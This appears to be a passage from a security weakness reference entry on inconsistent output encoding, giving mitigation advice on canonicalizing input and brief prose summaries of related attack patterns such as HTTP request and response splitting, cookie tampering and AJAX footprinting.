Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Mitigation MIT-20

Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CAPEC-105: HTTP Request Splitting

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to split a single HTTP request into multiple unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.

CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.

CAPEC-34: HTTP Response Splitting

An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site.

See CanPrecede relationships for possible consequences.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

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